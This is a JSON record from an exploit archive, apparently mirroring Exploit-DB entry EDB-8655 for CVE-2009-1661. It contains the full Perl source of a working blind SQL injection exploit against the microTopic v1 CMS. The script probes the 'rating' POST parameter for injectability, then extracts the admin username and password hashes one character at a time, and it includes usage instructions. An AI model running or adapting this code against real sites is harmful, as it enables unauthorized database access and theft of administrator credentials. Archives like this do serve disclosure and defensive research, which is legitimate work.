{"exploit":{"id":"EDB-8655","name":"microTopic 1 - 'Rating' Blind SQL Injection (SQLi)","description":"microTopic 1 - 'Rating' Blind SQL Injection (SQLi)","cves":["CVE-2009-1661"],"author":"YEnH4ckEr","published":"2009-05-11","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8655","path":"exploits/php/webapps/8655.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8655.pl","vulnerabilities":[{"id":"CVE-2009-1661","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in admin/utopic.php in uTopic 1.0, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the rating parameter to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1661","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1661"},"updatedAt":"2024-08-07T05:20:35.153Z","retrievedAt":"2026-11-27T03:06:26.563Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8655.png?v=2","url":"https://exploitbin.com/exploits/EDB-8655","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8655/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8655/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#***********************************************************************************************\n#***********************************************************************************************\n#**\t       \t\t\t\t\t\t\t\t\t\t      **\n#**  \t\t\t\t\t\t\t\t\t\t\t      **\n#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **\n#**     || || ||  []        [][]   []   []  []     []   []      [] []   []\t []   []      **\n#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **\n#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\\\n#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--\n#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/\n#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []\n#**\t\t\t\t\t\t\t                                      **\n#**    \t\t\t\t\t\t\t\t\t\t\t      **\n#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **\n#**\t\t\t\t\t  Â¡PROUD TO BE SPANISH!\t                              **\n#**\t\t\t\t\t\t\t\t\t\t\t      **\n#***********************************************************************************************\n#***********************************************************************************************\n#\n#----------------------------------------------------------------------------------------------\n#|       \t   \t     (POST var 'rating') BLIND SQL INJECTION\t\t              |\n#|--------------------------------------------------------------------------------------------|\n#|                         \t  | microTopic v1 Initial Release |\t\t \t      |\n#|  CMS INFORMATION:\t\t   -------------------------------\t\t\t      |\n#|\t\t\t\t\t\t\t\t\t\t              |\n#|-->WEB: http://sourceforge.net/projects/microtopic/\t\t   \t\t              |\n#|-->DOWNLOAD: http://sourceforge.net/projects/microtopic/ \t   \t\t              |\n#|-->DEMO: N/A\t\t\t\t\t\t\t\t\t\t      |\n#|-->CATEGORY: CMS / Portal\t\t\t\t\t\t\t\t      |\n#|-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb  \t      |\n#| \t\tSecure - Hashed challenge/response login Flexible...\t\t\t      |\n#|\t\t\t\t\t\t\t\t\t\t\t      |\n#|  CMS VULNERABILITY:\t\t\t\t\t\t\t\t\t      |\n#|\t\t\t\t\t\t\t\t\t\t\t      |\n#|-->TESTED ON: firefox 3.0.10\t\t\t\t\t\t\t\t      |\n#|-->DORK: \"N/A\"\t\t\t\t\t\t\t\t\t      |\n#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT\t\t\t\t\t      |\n#|-->AFFECT VERSION: v-1\t\t\t\t\t\t\t\t      |\n#|-->Discovered Bug date: 2009-05-08\t\t\t\t\t\t\t      |\n#|-->Reported Bug date: 2009-05-08\t\t\t\t\t\t\t      |\n#|-->Fixed bug date: 2009-05-10\t\t\t\t\t\t\t\t      |\n#|-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/\t\t\t      |\n#|-->Author: YEnH4ckEr\t\t\t\t\t\t\t\t\t      |\n#|-->mail: y3nh4ck3r[at]gmail[dot]com\t\t\t\t\t\t\t      |\n#|-->WEB/BLOG: N/A\t\t\t\t\t\t\t\t\t      |\n#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |\n#----------------------------------------------------------------------------------------------\n#\n#------------\n#VULN FILES:\n#------------\n#\n#Path --> [HOME_PATH]/admin/utopic.php\n#\n#It contents:\n#\n#\t $query=\"SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'\n#           AND ip='$_SERVER[REMOTE_ADDR]'\";\n#   $sql=SendSQL($query);\n#\n#Path --> [HOME_PATH]/admin/mysql.php\n#\n#It contents:\n#\n#function SendSQL($query){\n#   $sql=mysql_query($query) or die(\"CANNOT \".$query);\n#   return $sql;\n# }\n#\n#------------\n#CONDITIONS:\n#------------\n#\n#\n#**magic quotes=off\n#\n#\n#######################################################################\n#######################################################################\n##*******************************************************************##\n##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##\n##*******************************************************************##\n##-------------------------------------------------------------------##\n##*******************************************************************##\n##   GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!    ##\n##*******************************************************************##\n#######################################################################\n#######################################################################\n#\n#-------------------EOF---------------------------------->>>ENJOY IT!\n#\nuse LWP::UserAgent;\nuse HTTP::Request;\n#Subroutines\nsub lw\n{\n\tmy $SO = $^O;\n\tmy $linux = \"\";\n\tif (index(lc($SO),\"win\")!=-1){\n\t\t$linux=\"0\";\n\t}else{\n\t\t$linux=\"1\";\n\t}\n\tif($linux){\n\t\tsystem(\"clear\");\n\t}\n\telse{\n\t\tsystem(\"cls\");\n\t\tsystem (\"title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\");\n\t\tsystem (\"color 02\");\n\t}\n}\nsub request {\n\tmy $userag = LWP::UserAgent->new;\n\t$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n\tmy $request = HTTP::Request -> new(POST => $_[0]);\n\t$request->content_type('application/x-www-form-urlencoded');\n\t$request->content($_[1]);\n\tmy $outcode= $userag->request($request)->as_string;\n\treturn $outcode;\n}\nsub helper {\n\tprint \"\\n\\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\\n\";\n\tprint \"\\t[XxX] USAGE MODE: [XxX]\\n\";\n\tprint \"\\t[XxX] perl $0 [HOST] [PATH] [topic]\\n\";\n\tprint \"\\t[XxX] [HOST]: Web.\\n\";\n\tprint \"\\t[XxX] [PATH]: Home Path. Not path: no-path\\n\";\n\tprint \"\\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\\n\";\n\tprint \"\\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\\n\";\n}\nsub error {\n\tprint \"\\t-----------------------------------------------------------------\\n\";\n\tprint \"\\tWEB IS NOT VULNERABLE!\\n\";\n\tprint \"\\tMaybe --> \\n\";\n\tprint \"\\t1.-Patched\\n\";\n\tprint \"\\t2.-topic doesn't exist\\n\";\n\tprint \"\\t3.-Magic quotes ON\\n\";\n\tprint \"\\tEXPLOIT FAILED!\\n\";\n\tprint \"\\t-----------------------------------------------------------------\\n\";\n}\nsub testedblindsql {\n\tprint \"\\t-----------------------------------------------------------------\\n\";\n\tprint \"\\tWEB IS VULNERABLE!\\n\";\n\tprint \"\\tTested Blind SQL Injection.\\n\";\n\tprint \"\\tStarting exploit...Waiting...\\n\";\n\tprint \"\\t-----------------------------------------------------------------\\n\";\n}\nsub exploit {\nmy $result=\"\";\n$k=1;\n\t$z=48;\n\twhile(($k<=32) && ($z<=126)){\n\t\t$blindsqlpost=\"rate=1&rating=\".$_[1].\"'+AND+ascii(substring((SELECT+\".$_[2].\"+FROM+utopic_login+WHERE+loginid=1),\".$k.\",1))='\".$z.\"&postedcounter=1&action=doit\";\n\t\t$output=&request($_[0],$blindsqlpost);\n\t\tif ( $output =~ (/\\<\\/head\\>\\<body\\>/))\n\t\t{\n\t\t\t$result=$result.chr($z);\n\t\t\t$k++;\n\t\t\t$z=47;\n\t\t}\n\tif($z==57)\n\t{\n\t\t$z=96;\n\t}\n#new char\n\t$z++;\n\t}\nreturn $result;\n}\n#Main\n&lw;\n\tprint \"\\t\\t#########################################################\\n\\n\";\n\tprint \"\\t\\t#########################################################\\n\\n\";\n\tprint \"\\t\\t##   microTopic v1 Initial Release - BSQLi Exploit     ##\\n\\n\";\n\tprint \"\\t\\t##                  Author: Y3nh4ck3r                  ##\\n\\n\";\n\tprint \"\\t\\t##             Condition: magic quotes=off             ##\\n\\n\";\n\tprint \"\\t\\t##         Contact:y3nh4ck3r[at]gmail[dot]com          ##\\n\\n\";\n\tprint \"\\t\\t##                  Proud to be Spanish!               ##\\n\\n\";\n\tprint \"\\t\\t#########################################################\\n\\n\";\n\tprint \"\\t\\t#########################################################\\n\\n\";\n#Init variables\n\tmy $host=$ARGV[0];\n\tmy $path=$ARGV[1];\n\tmy $topic=$ARGV[2];\n#Build the uri\n\tif($path eq \"no-path\"){\n\t\t$finalhost=\"http://\".$host.\"/index.php?topic=\".$topic;\n\t}else{\n\t\t$finalhost=\"http://\".$host.\"/\".$path.\"/index.php?topic=\".$topic;\n\t}\n#Check all variables needed\n$numArgs = $#ARGV + 1;\n\tif($numArgs<=2)\n\t{\n\t\t&helper;\n\t\texit(1);\n\t}\n$finalrequest = $finalhost;\n#Testing blind sql injection\n$blindsqlpost=\"rate=1&rating=\".$topic.\"'+AND+1='0&postedcounter=1&action=doit\"; #blind sql injection\n$output=&request($finalrequest,$blindsqlpost);\nif ( $output !~ (/\\<\\/head\\>\\<body\\>/))\n{\n\t#blind sql injection is available\n\t&testedblindsql;\n}else{\n\t#Not injectable\n\t&error;\n\texit(1);\n}\n#Bruteforcing user...\n$usernamehash=&exploit($finalrequest,$topic,'username');\n#Bruteforcing pass...\n$passhash=&exploit($finalrequest,$topic,'password');\nprint \"\\n\\t\\t*************************************************\\n\";\nprint \"\\t\\t****     EXPLOIT EXECUTED WITH SUCCESS       ****\\n\";\nprint \"\\t\\t*************************************************\\n\\n\";\nprint \"\\t\\tUsername(md5 hash):\".$usernamehash.\"\\n\";\nprint \"\\t\\tPassword(md5 hash):\".$passhash.\"\\n\\n\";\nprint \"\\n\\t\\t<<----------------------FINISH!-------------------->>\\n\\n\";\nprint \"\\t\\t<<---------------Thanks to: y3hn4ck3r-------------->>\\n\\n\";\nprint \"\\t\\t<<------------------------EOF---------------------->>\\n\\n\";\nexit(1);\n#Ok...all job done\n\n# milw0rm.com [2009-05-11]","sha256":"e2eb5ab2731cd65edcf1a62abc120ab0ff1291b7d749a5a3aa4ee8ed4aefbdbb","bytes":8719,"fetchedAt":"2026-11-27T03:06:23.414Z","encoding":"utf-8 (display only; download retains original bytes)"}